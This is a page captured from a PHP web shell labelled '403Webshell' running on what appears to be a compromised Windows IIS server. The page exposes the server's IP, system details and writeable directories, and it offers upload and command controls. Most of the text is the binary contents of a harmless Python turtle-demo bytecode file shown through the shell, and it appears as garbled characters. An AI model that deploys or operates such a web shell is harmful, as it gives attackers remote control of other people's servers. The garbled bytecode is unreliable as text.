403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.220
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/turtledemo/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/turtledemo/__pycache__/minimal_hanoi.cpython-313.pyc
�

��iR���SrSSK7 "SS\5r"SS\5rSrSrS	r\	S
:Xa\"5r
\"\
5 \"5 gg)a�turtle-example-suite:

         tdemo_minimal_hanoi.py

A minimal 'Towers of Hanoi' animation:
A tower of 6 discs is transferred from the
left to the right peg.

An imho quite elegant and concise
implementation using a tower class, which
is derived from the built-in type list.

Discs are turtles with shape "square", but
stretched to rectangles by shapesize()
 ---------------------------------------
       To exit press STOP button
 ---------------------------------------
�)�*c��\rSrSrSrSrg)�Disc�c���[RUSSS9 UR5 URSUS-S5 UR	US-SSUS--
5 UR5 g)	N�squareF)�shape�visibleg�?�g@r�)�Turtle�__init__�pu�	shapesize�	fillcolor�st)�self�ns  �-C:\Python313\\Lib\turtledemo\minimal_hanoi.pyr�
Disc.__init__sV������H�e��<����	����s�A�c�E�1�%����q��t�Q��!�B�$��'����	��N)�__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__rrrrrs��rrc�*�\rSrSrSrSrSrSrSrg)�Tower�z-Hanoi tower, a subclass of built-in type listc��Xlg)z-create an empty tower. x is x-position of pegN��x)rr#s  rr�Tower.__init__ s���rc��URUR5 URSS[U5--5 UR	U5 g)Nij����")�setxr#�sety�len�append�r�ds  r�push�
Tower.push#s5��	���t�v�v��	���t�B�s�4�y�L� �!����A�rc�R�[RU5nURS5 U$)N�)�list�popr(r+s  rr2�	Tower.pop's���H�H�T�N��	���s���rr"N)	rrrr�__doc__rr-r2rrrrrrs��3���rrc��US:�a@[US-
XU5 URUR55 [US-
X!U5 gg)Nrr)�hanoir-r2)r�from_�with_�to_s    rr6r6,s@���1�u�
�a��c�5�u�%���������
�a��c�5��%�
rc��[SS5 [5 [S[[[
5 [
SSSS9 g![a gf=f)N�space�zpress STOP button to exit�center��Courier��bold��align�font)�onkey�clearr6�t1�t2�t3�write�
Terminatorrrr�playrL2sG��	�$�w��	�G�
�
�a��R���
�)��#:�	<���
��
�s�%>�
A�
Ac�4�[5 [5 [SS5 [S5q[S5q[S5q[SSS5H!n[R[U55 M# [SSS	S
9 [[S5 [5 g)
Nri���i����r<���zpress spacebar to start gamer=r>rBr;�	EVENTLOOP)�ht�penup�gotorrGrHrI�ranger-rrJrErL�listen)�is r�mainrW<su���D�%�'�4��4�=�	�t��B�	�q��B�	�s��B�
�1�Q�r�]��
����Q����
�
(��6�8�	�$���
�H�r�__main__N)
r4�turtler
rr1rr6rLrWr�msg�print�mainlooprrr�<module>r]sX���$��6���D��&�
�� �Z��
�&�C�	�#�J��J�r

Youez - 2016 - github.com/yon3zu
LinuXploit